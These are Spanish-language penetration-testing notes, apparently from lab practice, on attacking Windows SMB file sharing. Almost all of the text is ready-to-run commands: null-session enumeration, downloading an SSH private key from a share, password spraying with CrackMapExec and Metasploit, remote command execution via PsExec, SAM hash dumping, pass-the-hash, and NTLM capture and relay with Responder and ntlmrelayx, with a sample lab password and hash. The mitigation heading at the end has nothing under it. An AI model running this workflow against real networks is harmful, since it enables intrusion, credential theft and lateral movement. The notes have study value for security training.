SMB - Ataques y Explotación

🔹 ¿Qué es SMB?

SMB (Server Message Block) es el protocolo que Windows usa para compartir archivos, impresoras y otros recursos en red.
📌 Usa principalmente el puerto 445 TCP, aunque también puede correr en el 139 TCP con NetBIOS.

En Linux, se implementa con Samba, permitiendo que equipos Windows y Linux se comuniquen.


🔹 ¿Por qué se ataca SMB?

SMB es un blanco común porque:


🔎 Enumeración inicial

Nmap básico

nmap -p139,445 -sC -sV <IP>

👉 Detecta versión de SMB, nombre del host, SO, y si hay sesiones anónimas.
{29A10EA0-5EFA-42B8-B52E-62FCEF575FC9}.png
Enum4linux

enum4linux -a <IP>

👉 Usuarios, grupos, shares, políticas de contraseñas.

SMBClient

smbclient -L //<IP> -N

👉 Lista los recursos compartidos sin contraseña (-N = null session).

{65B0F18A-B9A8-412D-9EF9-C0054198F78D}.png


🔐 Abusando configuraciones débiles

👉 Null sessions: acceso sin usuario ni contraseña.
Ejemplo con smbmap:

smbmap -H <IP>

➡️ Si encuentras un share con lectura/escritura (ej. notes), puedes:

{9F9FD953-E7AF-4E7C-A6E8-C75136229D25}.png

En este caso podemos leer GGJ y podemos leer recursivamente

smbmap -H 10.129.203.6 -r GGJ 

{9F9FD953-E7AF-4E7C-A6E8-C75136229D25} 2.png
Tambien para descargar

smbmap -H 10.129.203.6 --download "GGJ\id_rsa"
smbmap -H 10.129.175.32 -u jason -p '34c8zuNBo91!@28Bszh' --download "GGJ/id_rsa"

para subir

smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt

💥 Ataques comunes en SMB

🔑 Fuerza bruta y pulverización de contraseñas

Si no hay sesión nula habilitada, necesitamos credenciales. Aquí entran dos técnicas:

Ejemplo con

crackmapexec smb 10.129.203.6 -u users.list -p pws.list

si no tiene dominio --local-auth
Pasted image 20250911191534.png
o con metasploit

msfconsole -q
use auxiliary/scanner/smb/smb_login
set RHOST 10.129.190.47
set SMBUSER jason
set PASS_FILE pws.list
exploit

Pasted image 20250911202056.png


Ejemplo con CrackMapExec (CME):

crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth

📌 Explicación:

✅ Si hay éxito:

SMB 10.10.110.17 [+] WIN7BOX\jurena:Company01! (Pwn3d!)

👉 Además, con --continue-on-success puedes seguir rociando la misma password contra todos los usuarios aunque ya hayas encontrado uno válido.


RCE – Remote Code Execution ⚡

Impacket PsExec.py permite ejecutar comandos en remoto usando SMB:

Ejemplos:

psexec.py dominio/usuario:password@192.168.1.100
psexec.py dominio/usuario@192.168.1.100 -hashes :NTHASH
psexec.py dominio/usuario:password@192.168.1.100 "whoami /all"

CrackMapExec exec-methods:

crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

👥 Enumeración de usuarios conectados

 crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users

o

rpcclient -U'%' 10.129.175.32
enumdomusers

👉 Saber qué usuarios están logueados (muy útil para cazar Domain Admins activos).


🪣 Dump de hashes (SAM y SYSTEM)

crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam

👉 Extraemos hashes NTLM para crackear o usar en Pass-the-Hash.


🔄 Pass-the-Hash (PtH)

Autenticación sin conocer la contraseña, solo con el hash NTLM:

crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

🕵️‍♂️ Ataques de autenticación forzada (Responder)

Montamos un servidor SMB falso:

responder -I eth0

Si una víctima accede mal a \\share\, tu servidor captura el hash NetNTLMv2.

Opciones:

hashcat -m 5600 hash.txt rockyou.txt
ntlmrelayx.py -tf targets.txt -smb2support

🔄 Flujo típico de ataque SMB

1️⃣ Enumeración de SMB → 2️⃣ Revisar null sessions → 3️⃣ Brute force / Spraying → 4️⃣ RCE (PsExec/Impacket) → 5️⃣ Dump de hashes / PtH → 6️⃣ Movimiento lateral 🚀


💡 Mitigación básica 🛡️